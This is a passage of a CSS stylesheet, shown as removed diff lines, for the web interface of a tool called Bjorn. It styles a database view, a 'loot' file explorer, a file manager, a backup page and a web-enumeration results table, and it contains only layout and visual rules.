1px solid var(--c-border-strong); - text-align: left; - padding: 10px; - font-weight: 700; - color: var(--acid); - user-select: none; - -webkit-user-select: none; - cursor: pointer; - white-space: nowrap; -} - -.db-container .db tbody td { - padding: 8px 10px; - border-bottom: 1px dashed var(--c-border-muted); - vertical-align: middle; - background: var(--grad-card); -} - -.db-container .db tbody tr:hover { - background: var(--db-row-hover); -} - -.db-container .db tbody tr.selected { - background: var(--db-row-selected); - outline: 1px solid var(--c-border-hi); -} - -.db-container .cell { - display: block; - min-width: 80px; - max-width: 520px; - white-space: nowrap; - overflow: hidden; - text-overflow: ellipsis; -} - -.db-container .cell[contenteditable="true"] { - outline: 0; - border-radius: 6px; - transition: .12s; - padding: 2px 6px; -} - -.db-container .cell[contenteditable="true"]:focus { - background: var(--db-cell-focus); - box-shadow: 0 0 0 1px var(--c-border-hi) inset; -} - -.db-container .cell.edited { - background: var(--db-cell-edited); -} - -.db-container .pk { - color: var(--muted); - font-size: 12px; -} - -.db-container .cols-drawer { - display: none; -} - -.db-container .cols-drawer.open { - display: block; -} - -.db-container .db-page { - display: grid; - grid-template-columns: 1fr; -} - -.db-container .sticky-col-cell { - position: sticky; - z-index: 3; - background: var(--grad-card); - box-shadow: 1px 0 0 0 var(--c-border-strong), -1px 0 0 0 var(--c-border); -} - -.db-container .sticky-col-head { - position: sticky; - z-index: 3; - background: var(--grad-card); - box-shadow: 1px 0 0 0 var(--c-border-strong), -1px 0 0 0 var(--c-border); -} - -.db-container .sticky-check, -.db-container .sticky-col-head.sticky-check { - z-index: 4; -} - -.db-container th.is-sticky .sticky-dot::after { - content: "\25CF"; - margin-left: 6px; - font-size: 10px; - color: var(--acid); - opacity: .9; -} - -@keyframes db-blinkChange { - from { - box-shadow: 0 0 0 0 var(--acid-22); - } - - to { - box-shadow: 0 0 0 6px transparent; - } -} - -.db-container .value-changed { - animation: db-blinkChange .66s ease; -} - -@media (max-width:1100px) { - .db-container .db-controls { - gap: 6px; - } - - .db-container .db-search { - min-width: 160px; - } - - .db-container .cell { - max-width: 60vw; - } -} - -/* ========================================================================== - BJORN - ========================================================================== */ -.bjorn-container .image-container { - display: flex; - justify-content: center; - align-items: center; - height: calc(100vh - 70px); -} - -.bjorn-container .image-container img { - max-height: 100%; - max-width: 100%; - height: -webkit-fill-available; - cursor: pointer; - transition: transform 0.2s ease-in-out; -} - -.bjorn-container .image-container img:active { - transform: scale(1.05); -} - -.bjorn-container .image-container.fullscreen img { - height: 100vh; - width: auto; -} - -@media (max-width:768px) { - .bjorn-container .image-container { - height: calc(100vh - 60px); - } -} - -/* ========================================================================== - LOOT - ========================================================================== */ -.loot-container { - position: relative; - z-index: 2; - padding: 16px; - margin-top: 5px; - min-height: calc(100vh - 60px); - display: flex; - flex-direction: column; - gap: 16px; - animation: loot-fadeInUp .6s ease-out; -} - -@keyframes loot-fadeInUp { - from { - opacity: 0; - transform: translateY(30px); - } - - to { - opacity: 1; - transform: translateY(0); - } -} - -.loot-container .stats-bar { - display: flex; - gap: 12px; - flex-wrap: wrap; - padding: 12px; - background: color-mix(in oklab, var(--_panel) 88%, transparent); - border: 1px solid var(--_border); - border-radius: 12px; - box-shadow: var(--_shadow); - backdrop-filter: blur(16px); -} - -.loot-container .stat-item { - display: flex; - align-items: center; - gap: 8px; - padding: 8px 16px; - background: color-mix(in oklab, var(--_panel) 65%, transparent); - border: 1px solid var(--_border); - border-radius: 10px; - transition: .2s; -} - -.loot-container .stat-item:hover { - background: color-mix(in oklab, var(--_panel) 78%, transparent); - transform: translateY(-2px); -} - -.loot-container .stat-icon { - font-size: 1.2rem; - opacity: .95; -} - -.loot-container .stat-value { - font-size: 1.05rem; - font-weight: 800; - background: linear-gradient(135deg, var(--_acid), var(--_acid2)); - -webkit-background-clip: text; - background-clip: text; - -webkit-text-fill-color: transparent; -} - -.loot-container .stat-label { - color: var(--_muted); - font-size: .75rem; - margin-left: 4px; -} - -.loot-container .controls-bar { - display: flex; - gap: 12px; - align-items: center; - flex-wrap: wrap; -} - -.loot-container .search-container { - flex: 1; - min-width: 200px; - position: relative; -} - -.loot-container .search-input { - width: 100%; - padding: 12px 16px 12px 44px; - background: color-mix(in oklab, var(--_panel) 90%, transparent); - border: 1px solid var(--_border); - border-radius: 12px; - color: var(--_ink); - font-size: .95rem; - backdrop-filter: blur(10px); - transition: .2s; -} - -.loot-container .search-input:focus { - outline: none; - border-color: color-mix(in oklab, var(--_acid2) 40%, var(--_border)); - box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 18%, transparent); - background: color-mix(in oklab, var(--_panel) 96%, transparent); -} - -.loot-container .search-icon { - position: absolute; - left: 16px; - top: 50%; - transform: translateY(-50%); - color: var(--_muted); - pointer-events: none; -} - -.loot-container .clear-search { - position: absolute; - right: 12px; - top: 50%; - transform: translateY(-50%); - color: var(--_muted); - cursor: pointer; - font-size: 1rem; - display: none; -} - -.loot-container .search-input:not(:placeholder-shown)~.clear-search { - display: block; -} - -.loot-container .view-controls { - display: flex; - gap: 8px; - align-items: center; -} - -.loot-container .view-btn, -.loot-container .sort-btn { - padding: 10px; - background: color-mix(in oklab, var(--_panel) 90%, transparent); - border: 1px solid var(--_border); - border-radius: 10px; - color: var(--_muted); - cursor: pointer; - transition: .2s; - backdrop-filter: blur(10px); - font-size: 1.1rem; -} - -.loot-container .view-btn:hover, -.loot-container .sort-btn:hover { - background: color-mix(in oklab, var(--_panel) 96%, transparent); - color: var(--_ink); - transform: translateY(-2px); -} - -.loot-container .view-btn.active { - background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 20%, transparent), color-mix(in oklab, var(--_acid2) 12%, transparent)); - color: var(--_ink); - border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); -} - -.loot-container .sort-dropdown { - position: relative; -} - -.loot-container .sort-menu { - position: absolute; - top: calc(100% + 8px); - right: 0; - background: color-mix(in oklab, var(--_panel) 98%, transparent); - border: 1px solid var(--_border); - border-radius: 12px; - padding: 8px; - min-width: 150px; - backdrop-filter: blur(20px); - box-shadow: var(--_shadow); - opacity: 0; - pointer-events: none; - transform: translateY(-10px); - transition: .2s; - z-index: 10; -} - -.loot-container .sort-dropdown.active .sort-menu { - opacity: 1; - pointer-events: auto; - transform: translateY(0); -} - -.loot-container .sort-option { - padding: 10px 12px; - border-radius: 8px; - cursor: pointer; - transition: .2s; - font-size: .9rem; - color: var(--_ink); -} - -.loot-container .sort-option:hover { - background: rgba(255, 255, 255, .05); -} - -.loot-container .sort-option.active { - color: var(--_ink); - background: color-mix(in oklab, var(--_acid2) 14%, transparent); -} - -.loot-container .tabs-container { - display: flex; - gap: 8px; - padding: 4px; - background: color-mix(in oklab, var(--_panel) 88%, transparent); - border-radius: 12px; - border: 1px solid var(--_border); - backdrop-filter: blur(10px); - overflow-x: auto; - scrollbar-width: none; -} - -.loot-container .tabs-container::-webkit-scrollbar { - display: none; -} - -.loot-container .tab { - padding: 10px 20px; - border-radius: 8px; - cursor: pointer; - transition: .2s; - white-space: nowrap; - font-size: .9rem; - font-weight: 700; - position: relative; - color: var(--_muted); - border: 1px solid transparent; -} - -.loot-container .tab:hover { - background: rgba(255, 255, 255, .05); - color: var(--_ink); -} - -.loot-container .tab.active { - background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 16%, transparent), color-mix(in oklab, var(--_acid2) 10%, transparent)); - color: var(--_ink); - border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); -} - -.loot-container .tab.active::after { - content: ''; - position: absolute; - bottom: 0; - left: 10%; - right: 10%; - height: 2px; - background: linear-gradient(90deg, var(--_acid), var(--_acid2)); - border-radius: 2px; -} - -.loot-container .tab-badge { - display: inline-block; - padding: 2px 6px; - margin-left: 6px; - background: rgba(255, 255, 255, .08); - border: 1px solid var(--_border); - border-radius: 10px; - font-size: .75rem; - font-weight: 700; - color: var(--_ink); -} - -.loot-container .explorer { - background: color-mix(in oklab, var(--_panel) 88%, transparent); - border-radius: 20px; - border: 1px solid var(--_border); - backdrop-filter: blur(20px); - box-shadow: var(--_shadow); - overflow: hidden; - flex: 1; - display: flex; - flex-direction: column; - animation: loot-slideIn .6s ease-out; -} - -@keyframes loot-slideIn { - from { - opacity: 0; - transform: translateX(-16px); - } - - to { - opacity: 1; - transform: translateX(0); - } -} - -.loot-container .explorer-content { - padding: 20px; - overflow-y: auto; - flex: 1; - max-height: calc(100vh - 280px); -} - -.loot-container .tree-view { - display: none; -} - -.loot-container .tree-view.active { - display: block; -} - -.loot-container .list-view { - display: none; -} - -.loot-container .list-view.active { - display: grid; - gap: 8px; -} - -.loot-container .tree-item { - margin-bottom: 4px; - animation: loot-itemSlide .3s ease-out backwards; -} - -@keyframes loot-itemSlide { - from { - opacity: 0; - transform: translateX(-10px); - } - - to { - opacity: 1; - transform: translateX(0); - } -} - -.loot-container .tree-header { - display: flex; - align-items: center; - padding: 12px; - cursor: pointer; - border-radius: 10px; - transition: .2s; - position: relative; - overflow: hidden; -} - -.loot-container .tree-header::before { - content: ''; - position: absolute; - inset: 0; - background: linear-gradient(90deg, transparent, rgba(255, 255, 255, .05), transparent); - transform: translateX(-100%); - transition: transform .6s; -} - -.loot-container .tree-header:hover::before { - transform: translateX(100%); -} - -.loot-container .tree-header:hover { - background: rgba(255, 255, 255, .04); -} - -.loot-container .tree-icon { - width: 32px; - height: 32px; - display: flex; - align-items: center; - justify-content: center; - border-radius: 8px; - margin-right: 12px; - font-size: 1.1rem; - flex-shrink: 0; - background: color-mix(in oklab, var(--_acid) 12%, transparent); - color: var(--_ink); -} - -.loot-container .folder-icon { - background: color-mix(in oklab, var(--_acid) 10%, transparent); - color: var(--_ink); -} - -.loot-container .tree-name { - flex: 1; - font-weight: 600; - white-space: nowrap; - overflow: hidden; - text-overflow: ellipsis; -} - -.loot-container .tree-chevron { - width: 20px; - height: 20px; - display: flex; - align-items: center; - justify-content: center; - color: var(--_muted); - transition: transform .3s cubic-bezier(.4, 0, .2, 1); - margin-left: 8px; -} - -.loot-container .tree-item.expanded .tree-chevron { - transform: rotate(90deg); -} - -.loot-container .tree-children { - max-height: 0; - overflow: hidden; - transition: max-height .3s cubic-bezier(.4, 0, .2, 1); - margin-left: 20px; - padding-left: 20px; - border-left: 1px solid var(--_border); -} - -.loot-container .tree-item.expanded .tree-children { - max-height: 5000px; -} - -.loot-container .file-item { - display: flex; - align-items: center; - padding: 10px 12px; - border-radius: 10px; - cursor: pointer; - transition: .2s; - margin-bottom: 4px; -} - -.loot-container .file-item:hover { - background: rgba(255, 255, 255, .04); - transform: translateX(4px); -} - -.loot-container .file-item:active { - transform: translateX(2px) scale(.98); -} - -.loot-container .file-icon { - width: 28px; - height: 28px; - display: flex; - align-items: center; - justify-content: center; - border-radius: 6px; - margin-right: 12px; - font-size: .9rem; - flex-shrink: 0; - color: var(--_ink); - background: color-mix(in oklab, var(--_panel) 75%, transparent); -} - -.loot-container .file-icon.ssh { - background: color-mix(in oklab, var(--_acid) 12%, transparent); -} - -.loot-container .file-icon.sql { - background: color-mix(in oklab, var(--_acid2) 12%, transparent); -} - -.loot-container .file-icon.smb { - background: color-mix(in oklab, var(--_acid2) 16%, transparent); -} - -.loot-container .file-icon.other { - background: color-mix(in oklab, var(--_panel) 75%, transparent); -} - -.loot-container .file-name { - flex: 1; - font-size: .9rem; - white-space: nowrap; - overflow: hidden; - text-overflow: ellipsis; - color: var(--_ink); -} - -.loot-container .file-type { - padding: 3px 8px; - border-radius: 6px; - font-size: .7rem; - font-weight: 800; - text-transform: uppercase; - letter-spacing: .05em; - margin-left: 8px; - border: 1px solid var(--_border); - color: var(--_ink); - background: color-mix(in oklab, var(--_panel) 80%, transparent); -} - -.loot-container .file-type.ssh { - background: color-mix(in oklab, var(--_acid) 12%, transparent); -} - -.loot-container .file-type.sql { - background: color-mix(in oklab, var(--_acid2) 12%, transparent); -} - -.loot-container .file-type.smb { - background: color-mix(in oklab, var(--_acid2) 16%, transparent); -} - -.loot-container .no-results { - text-align: center; - color: var(--_muted); - padding: 40px; - font-size: .95rem; -} - -.loot-container .no-results-icon { - font-size: 3rem; - margin-bottom: 16px; - opacity: .5; -} - -.loot-container .loading { - display: flex; - justify-content: center; - align-items: center; - height: 200px; -} - -.loot-container .loading-spinner { - width: 40px; - height: 40px; - border: 3px solid var(--_border); - border-top-color: var(--_acid2); - border-radius: 50%; - animation: loot-spin 1s linear infinite; -} - -@keyframes loot-spin { - to { - transform: rotate(360deg); - } -} - -@media (max-width:768px) { - .loot-container { - padding: 12px; - gap: 12px; - } - - .loot-container .controls-bar { - flex-direction: column; - align-items: stretch; - } - - .loot-container .search-container { - width: 100%; - } - - .loot-container .view-controls { - justify-content: center; - } - - .loot-container .tabs-container { - padding: 2px; - } - - .loot-container .tab { - padding: 8px 14px; - font-size: .85rem; - } - - .loot-container .explorer-content { - padding: 12px; - max-height: calc(100vh - 320px); - } - - .loot-container .tree-children { - margin-left: 12px; - padding-left: 12px; - } - - .loot-container .stat-item { - padding: 6px 10px; - } - - .loot-container .stat-value { - font-size: .95rem; - } -} - -@media (hover:none) { - .loot-container .tree-header:active { - background: rgba(255, 255, 255, .06); - } -} - -/* ========================================================================== - FILES EXPLORER - ========================================================================== */ -.files-container .loot-container { - display: flex; - flex-direction: column; - height: calc(100vh - 120px); - padding: 12px; - gap: 12px; -} - -.files-container .file-explorer { - flex: 1; - display: flex; - flex-direction: column; - overflow: hidden; - padding: 10px; - color: var(--_ink); - background: color-mix(in oklab, var(--_panel) 92%, transparent); - border: 1px solid var(--_border); - border-radius: 14px; - backdrop-filter: blur(18px); - box-shadow: var(--_shadow); -} - -.files-container .files-grid { - overflow-y: auto; - display: grid; - grid-template-columns: repeat(auto-fill, minmax(110px, 1fr)); - gap: 8px; - padding: 8px; - border-radius: 8px; -} - -.files-container .files-list { - overflow-y: auto; - padding: 4px; -} - -.files-container .upload-container { - padding: 10px; - margin-bottom: 10px; - display: flex; - justify-content: center; - align-items: center; -} - -.files-container .drop-zone { - width: 100%; - max-width: 800px; - padding: 16px; - border: 2px dashed var(--_border); - border-radius: 12px; - text-align: center; - font-size: 14px; - color: var(--_muted); - cursor: pointer; - transition: .25s ease; - background: color-mix(in oklab, var(--_panel) 88%, transparent); - backdrop-filter: blur(8px); -} - -.files-container .drop-zone:hover { - background: color-mix(in oklab, var(--_panel) 96%, transparent); -} - -.files-container .drop-zone.dragover { - border-color: color-mix(in oklab, var(--_acid) 50%, var(--_border)); - background: color-mix(in oklab, var(--_acid) 12%, var(--_panel)); - color: var(--_ink); -} - -.files-container .grid-item, -.files-container .list-item { - border-radius: 10px; - padding: 8px; - cursor: pointer; - transition: .15s ease; - display: flex; - align-items: center; - position: relative; - border: 1px solid transparent; - background: color-mix(in oklab, var(--_panel) 86%, transparent); -} - -.files-container .grid-item { - flex-direction: column; - text-align: center; -} - -.files-container .list-item { - flex-direction: row; - gap: 12px; -} - -.files-container .grid-item:hover, -.files-container .list-item:hover { - transform: translateY(-2px); - border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); - box-shadow: 0 4px 14px rgba(0, 0, 0, .25); - background: color-mix(in oklab, var(--_panel) 96%, transparent); -} - -.files-container .grid-item img, -.files-container .list-item img { - width: 28px; - height: 28px; - margin-bottom: 4px; -} - -.files-container .list-item img { - margin-bottom: 0; -} - -.files-container .item-name { - color: var(--_ink); - font-size: 14px; - line-height: 1.3; - word-break: break-word; - pointer-events: none; -} - -.files-container .folder .item-name { - color: var(--_ink); - font-weight: 700; -} - -.files-container .item-meta { - font-size: 11px; - color: var(--_muted); - margin-top: 4px; - pointer-events: none; -} - -.files-container .multi-select-mode { - background: color-mix(in oklab, var(--_acid) 6%, transparent); -} - -.files-container .item-selected { - background: color-mix(in oklab, var(--_acid) 18%, var(--_panel)) !important; - border: 2px solid color-mix(in oklab, var(--_acid) 55%, var(--_border)) !important; -} - -.files-container .context-menu { - position: absolute; - z-index: 1000; - background: color-mix(in oklab, var(--_panel) 98%, transparent); - border: 1px solid var(--_border); - border-radius: 10px; - padding: 6px 8px; - min-width: 160px; - color: var(--_ink); - box-shadow: var(--_shadow); -} - -.files-container .context-menu>div { - padding: 8px 10px; - border-radius: 8px; - cursor: pointer; -} - -.files-container .context-menu>div:hover { - background: color-mix(in oklab, var(--_acid2) 12%, transparent); -} - -.files-container .search-container { - position: relative; - margin-bottom: 10px; - display: flex; - align-items: center; -} - -.files-container .search-input { - width: 100%; - padding: 10px 40px 10px 12px; - font-size: 14px; - border-radius: 10px; - border: 1px solid var(--_border); - background: color-mix(in oklab, var(--_panel) 90%, transparent); - color: var(--_ink); - box-sizing: border-box; - transition: .2s; -} - -.files-container .search-input:focus { - outline: none; - border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); - box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 18%, transparent); - background: color-mix(in oklab, var(--_panel) 96%, transparent); -} - -.files-container .search-input::placeholder { - color: color-mix(in oklab, var(--_muted) 70%, transparent); -} - -.files-container .clear-button { - position: absolute; - right: 12px; - background: none; - border: none; - color: color-mix(in oklab, var(--_acid) 55%, var(--_ink)); - font-size: 16px; - cursor: pointer; - display: none; -} - -.files-container .clear-button.show { - display: block; -} - -.files-container .toolbar-buttons { - display: flex; - gap: 8px; - margin-bottom: 10px; - flex-wrap: wrap; -} - -.files-container .action-button { - background: color-mix(in oklab, var(--_panel) 90%, transparent); - border: 1px solid var(--_border); - color: var(--_muted); - padding: 8px 10px; - border-radius: 10px; - cursor: pointer; - font-size: 14px; - font-weight: 700; - display: flex; - align-items: center; - gap: 6px; - transition: .2s; - backdrop-filter: blur(10px); -} - -.files-container .action-button:hover { - background: color-mix(in oklab, var(--_panel) 96%, transparent); - color: var(--_ink); - transform: translateY(-2px); -} - -.files-container .action-button.active { - background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 18%, transparent), color-mix(in oklab, var(--_acid2) 10%, transparent)); - color: var(--_ink); - border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); -} - -.files-container .action-button.delete { - background: color-mix(in oklab, var(--_acid) 14%, var(--_panel)); - color: var(--_ink); - display: none; - border-color: color-mix(in oklab, var(--_acid) 40%, var(--_border)); -} - -.files-container .action-button.delete.show { - display: flex; -} - -.files-container .modal { - display: block; - position: fixed; - inset: 0; - z-index: 1000; - background: rgba(0, 0, 0, .5); -} - -.files-container .modal-content { - background: color-mix(in oklab, var(--_panel) 98%, transparent); - color: var(--_ink); - margin: 12vh auto; - padding: 20px; - width: min(500px, 92vw); - border: 1px solid var(--_border); - border-radius: 14px; - box-shadow: var(--_shadow); -} - -.files-container .modal-buttons { - margin-top: 18px; - text-align: right; - display: flex; - gap: 8px; - justify-content: flex-end; -} - -.files-container .modal-buttons button { - margin-left: 0; - padding: 8px 14px; - border-radius: 10px; - border: 1px solid var(--_border); - cursor: pointer; - background: color-mix(in oklab, var(--_panel) 92%, transparent); - color: var(--_ink); -} - -.files-container .modal-buttons button:hover { - background: color-mix(in oklab, var(--_panel) 98%, transparent); -} - -.files-container .modal-buttons .primary { - background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 18%, transparent), color-mix(in oklab, var(--_acid2) 10%, transparent)); - border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); - color: var(--_ink); -} - -.files-container #folder-tree { - border: 1px solid var(--_border); - border-radius: 10px; - padding: 8px; - margin: 10px 0; - max-height: 320px; - overflow-y: auto; - background: color-mix(in oklab, var(--_panel) 92%, transparent); -} - -.files-container .folder-item { - padding: 8px 10px; - cursor: pointer; - display: flex; - align-items: center; - gap: 8px; - border-radius: 8px; -} - -.files-container .folder-item:hover { - background: color-mix(in oklab, var(--_panel) 98%, transparent); -} - -.files-container .folder-item.selected { - background: color-mix(in oklab, var(--_acid2) 16%, transparent); - outline: 1px solid color-mix(in oklab, var(--_acid2) 35%, var(--_border)); -} - -.files-container .folder-item i { - color: var(--_muted); -} - -.files-container .path-navigator { - padding: 8px; - margin-bottom: 8px; - border-radius: 10px; - display: flex; - align-items: center; - gap: 8px; - background: color-mix(in oklab, var(--_panel) 90%, transparent); - border: 1px solid var(--_border); -} - -.files-container .nav-buttons { - display: flex; - gap: 8px; -} - -.files-container .back-button { - background: color-mix(in oklab, var(--_panel) 92%, transparent); - border: 1px solid var(--_border); - color: var(--_muted); - padding: 8px 12px; - border-radius: 10px; - cursor: pointer; - font-weight: 700; - display: flex; - align-items: center; - gap: 6px; - min-width: 40px; - min-height: 40px; - justify-content: center; - transition: .2s; -} - -.files-container .back-button:hover { - background: color-mix(in oklab, var(--_panel) 98%, transparent); - color: var(--_ink); -} - -.files-container .current-path { - display: flex; - align-items: center; - gap: 6px; - overflow: hidden; - flex-wrap: wrap; -} - -.files-container .path-segment { - background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 16%, transparent), color-mix(in oklab, var(--_acid2) 10%, transparent)); - color: var(--_ink); - padding: 6px 10px; - border-radius: 10px; - cursor: pointer; - transition: .2s; - border: 1px solid color-mix(in oklab, var(--_acid2) 28%, var(--_border)); -} - -.files-container .path-segment:hover { - filter: brightness(1.08); -} - -@media (max-width:420px) { - .files-container .loot-container { - height: 80vh; - } - - .files-container .file-explorer { - max-height: 40vh; - } - - .files-container .files-grid { - max-height: 40vh; - } - - .files-container .drop-zone { - padding: 18px; - font-size: 15px; - } - - .files-container .toolbar-buttons { - padding: 4px; - gap: 6px; - } - - .files-container .search-container, - .files-container .path-navigator { - padding: 4px; - } - - .files-container .grid-item { - min-height: 74px; - font-size: 12px; - } - - .files-container .item-name { - font-size: 13px; - margin-top: 2px; - } - - .files-container .item-meta { - font-size: 10px; - margin-top: 2px; - } - - .files-container .grid-item img, - .files-container .list-item img { - width: 28px; - height: 28px; - } -} - -@media (max-width:768px) { - .files-container .files-grid { - grid-template-columns: repeat(auto-fill, minmax(110px, 1fr)); - gap: 8px; - } - - .files-container #file-list { - max-height: fit-content; - overflow-y: auto; - } - - .files-container .toolbar-buttons { - flex-direction: row; - flex-wrap: wrap; - gap: 8px; - } - - .files-container .files-list { - padding: 8px; - max-height: 50vh; - overflow-y: auto; - } - - .files-container .grid-item { - padding: 8px; - } -} - -/* ═══════════════════════════════════════════════════════════════════════ - BACKUP & UPDATE (.page-backup) - ═══════════════════════════════════════════════════════════════════════ */ -.page-backup .main-container { - display: flex; - height: calc(100vh - 60px); - width: 100%; - position: relative; -} - -.page-backup .section-list { - list-style-type: none; - padding: 0; - margin: 0; - flex-grow: 1; -} - -.page-backup .list-item { - display: flex; - align-items: center; - padding: 12px; - cursor: pointer; - border-radius: var(--radius); - margin-bottom: 12px; - transition: box-shadow .3s, background-color .3s, border-color .3s; - background: var(--grad-card); - border: 1px solid var(--c-border); - box-shadow: var(--shadow); -} - -.page-backup .list-item:hover { - box-shadow: var(--shadow-hover); -} - -.page-backup .list-item.selected { - border: 1px solid #00e764; -} - -.page-backup .list-item img { - margin-right: 10px; -} - -@keyframes bak-spin { - 0% { - transform: rotate(0); - } - - 100% { - transform: rotate(360deg); - } -} - -.page-backup .right-panel { - flex: 1; - display: flex; - flex-direction: column; - padding: 20px; - overflow-y: auto; - box-sizing: border-box; - background-color: #1e1e1e; -} - -.page-backup .content-section { - display: none; -} - -.page-backup .content-section.active { - display: block; -} - -.page-backup form { - margin-top: 20px; -} - -.page-backup form label { - display: block; - margin-bottom: 5px; - color: white; -} - -.page-backup form input[type="text"] { - width: 100%; - padding: 8px; - margin-bottom: 10px; - border: 1px solid #555; - border-radius: 4px; - background-color: #07422f40; - color: #fff; - cursor: text; - pointer-events: auto; -} - -.page-backup form input[type="text"]:focus { - outline: none; - border-color: #007acc; - background-color: #3d3d3d; -} - -.page-backup form input[type="text"]:hover { - border-color: #666; -} - -.page-backup .default-badge { - display: inline-block; - padding: 2px 8px; - margin-left: 8px; - background-color: #007acc; - color: white; - border-radius: 12px; - font-size: .85em; - font-weight: 700; -} - -.page-backup .bj-modal { - display: none; - position: fixed; - z-index: 1000; - inset: 0; - overflow: auto; - background-color: rgba(0, 0, 0, .5); -} - -.page-backup .bj-modal__content { - background-color: #2d2d2d; - margin: 10% auto; - padding: 20px; - border: 1px solid #888; - width: 80%; - max-width: fit-content; - border-radius: 8px; - z-index: 1001; - color: #fff; -} - -.page-backup .bj-modal__close { - color: #aaa; - float: right; - font-size: 28px; - font-weight: 700; - cursor: pointer; -} - -.page-backup .bj-modal__close:hover, -.page-backup .bj-modal__close:focus { - color: #fff; - text-decoration: none; -} - -.page-backup .bj-loading-overlay { - display: none; - position: fixed; - z-index: 1100; - inset: 0; - background-color: rgba(0, 0, 0, .7); - justify-content: center; - align-items: center; -} - -.page-backup .bj-rotating-arrow { - width: 50px; - height: 50px; - border: 5px solid transparent; - border-top: 5px solid #007acc; - border-right: 5px solid #007acc; - border-radius: 50%; - animation: bak-spin 1.5s linear infinite, bak-bjPulse 1.5s ease-in-out infinite; -} - -@keyframes bak-bjPulse { - 0% { - box-shadow: 0 0 0 0 rgba(0, 122, 204, .7); - } - - 70% { - box-shadow: 0 0 0 20px rgba(0, 122, 204, 0); - } - - 100% { - box-shadow: 0 0 0 0 rgba(0, 122, 204, 0); - } -} - -.page-backup #bj-update-message { - background-color: #28a745; - color: #fff; - padding: 12px 20px; - border-radius: 25px; - display: inline-block; - margin-bottom: 15px; - box-shadow: 0 4px 6px rgba(0, 0, 0, .1); - font-size: 16px; - max-width: 100%; - word-wrap: break-word; -} - -.page-backup #bj-update-message.fade-in { - animation: bak-fadeIn .5s ease-in-out; -} - -@keyframes bak-fadeIn { - from { - opacity: 0; - transform: translateY(-10px); - } - - to { - opacity: 1; - transform: translateY(0); - } -} - -@media (max-width:768px) { - .page-backup .main-container { - flex-direction: column; - } -} - -@media (min-width:769px) { - .page-backup .menu-icon { - display: none; - } - - .page-backup .side-menu { - transform: translateX(0); - position: relative; - height: 98%; - z-index: 10000; - } -} - -.page-backup .form-control { - cursor: text; - pointer-events: auto; - background-color: #2d2d2d; - color: #ffffff; -} - -.page-backup .backups-table button.loading { - position: relative; - pointer-events: none; - opacity: .6; - background-color: #2d2d2d; - color: #fff; - border: #007acc; -} - -/* ═══════════════════════════════════════════════════════════════════════ - WEB ENUM (.webenum-container) - ═══════════════════════════════════════════════════════════════════════ */ -.webenum-container .container { - max-width: 1400px; - margin: 0 auto; - padding: 16px; -} - -.webenum-container .header.card { - display: flex; - align-items: center; - justify-content: space-between; - gap: 10px; -} - -.webenum-container .header h1 { - margin: 0; - color: var(--acid); -} - -.webenum-container .controls.card { - display: grid; - gap: 10px; -} - -.webenum-container .controls-row { - display: flex; - flex-wrap: wrap; - gap: var(--gap-3); - align-items: center; -} - -.webenum-container .search-box { - flex: 1; - min-width: 230px; - position: relative; -} - -.webenum-container .search-box .input { - width: 100%; - padding-right: 36px; -} - -.webenum-container .search-icon { - position: absolute; - right: 10px; - top: 50%; - transform: translateY(-50%); - color: var(--acid); -} - -.webenum-container .stats { - display: grid; - grid-template-columns: repeat(auto-fit, minmax(180px, 1fr)); - gap: 10px; - margin: 10px 0 12px; -} - -.webenum-container .stat-card { - background: var(--grad-card); - border: 1px solid var(--c-border); - border-radius: 14px; - padding: 12px 14px; - box-shadow: var(--shadow); -} - -.webenum-container .stat-value { - font-weight: 700; - color: var(--acid); -} - -.webenum-container .stat-label { - color: var(--muted); -} - -.webenum-container .status-legend.card { - display: flex; - flex-wrap: wrap; - gap: 8px; - align-items: center; -} - -.webenum-container .results-container.card { - overflow: hidden; -} - -.webenum-container .results-header { - display: flex; - justify-content: space-between; - align-items: center; - border-bottom: 1px solid var(--c-border); - padding-bottom: 8px; - margin-bottom: 8px; -} - -.webenum-container .results-count { - color: var(--accent-2); - font-weight: 600; -} - -.webenum-container .table-container { - overflow: auto; - max-height: calc(100vh - 520px); - min-height: 400px; -} - -.webenum-container table { - width: 100%; - border-collapse: collapse; -} - -.webenum-container th { - position: sticky; - top: 0; - z-index: 1; - background: var(--c-panel-2); - color: var(--acid); - text-align: left; - padding: 10px 12px; - border-bottom: 1px solid var(--c-border); - user-select: none; - cursor: pointer; - font-weight: 700; -} - -.webenum-container td { - padding: 8px 12px; - border-bottom: 1px dashed var(--c-border); -} - -.webenum-container tr { - transition: background .15s ease; -} - -.webenum-container tr:hover { - background: color-mix(in oklab, var(--acid) 8%, transparent); - cursor: pointer; -} - -.webenum-container th.sortable::after { - content: ' \21C5'; - opacity: .5; -} - -.webenum-container th.sort-asc::after { - content: ' \2191'; - color: var(--acid); - opacity: 1; -} - -.webenum-container th.sort-desc::after { - content: ' \2193'; - color: var(--acid); - opacity: 1; -} - -.webenum-container .no-results { - text-align: center; - padding: 40px; - color: var(--muted); - font-style: italic; -} - -.webenum-container .loading { - text-align: center; - padding: 40px; - color: var(--acid); -} - -.webenum-container .host-badge { - background: var(--c-chip-bg); - color: var(--accent-2); - padding: 3px 8px; - border-radius: 8px; - border: 1px solid var(--c-border); - font-weight: 600; - font-size: .9rem; -} - -.webenum-container .port-badge { - background: var(--c-chip-bg); - color: var(--acid); - padding: 3px 8px; - border-radius: 8px; - border: 1px solid var(--c-border); - font-weight: 700; - font-size: .9rem; -} - -.webenum-container .url-link { - color: var(--acid-2); - text-decoration: none; - font-size: 1.1rem; - transition: .2s; -} - -.webenum-container .url-link:hover { - color: var(--acid); - transform: scale(1.2); - display: inline-block; -} - -.webenum-container .status { - display: inline-block; - min-width: 60px; - text-align: center; - padding: 5px 10px; - border-radius: 8px; - font-weight: 700; - font-size: .85rem; - border: 1px solid var(--c-border); - transition: .2s; - cursor: default; -} - -.webenum-container .status:hover { - transform: translateY(-1px); - box-shadow: 0 2px 8px rgba(0, 0, 0, 0.3); -} - -.webenum-container .status-2xx { - 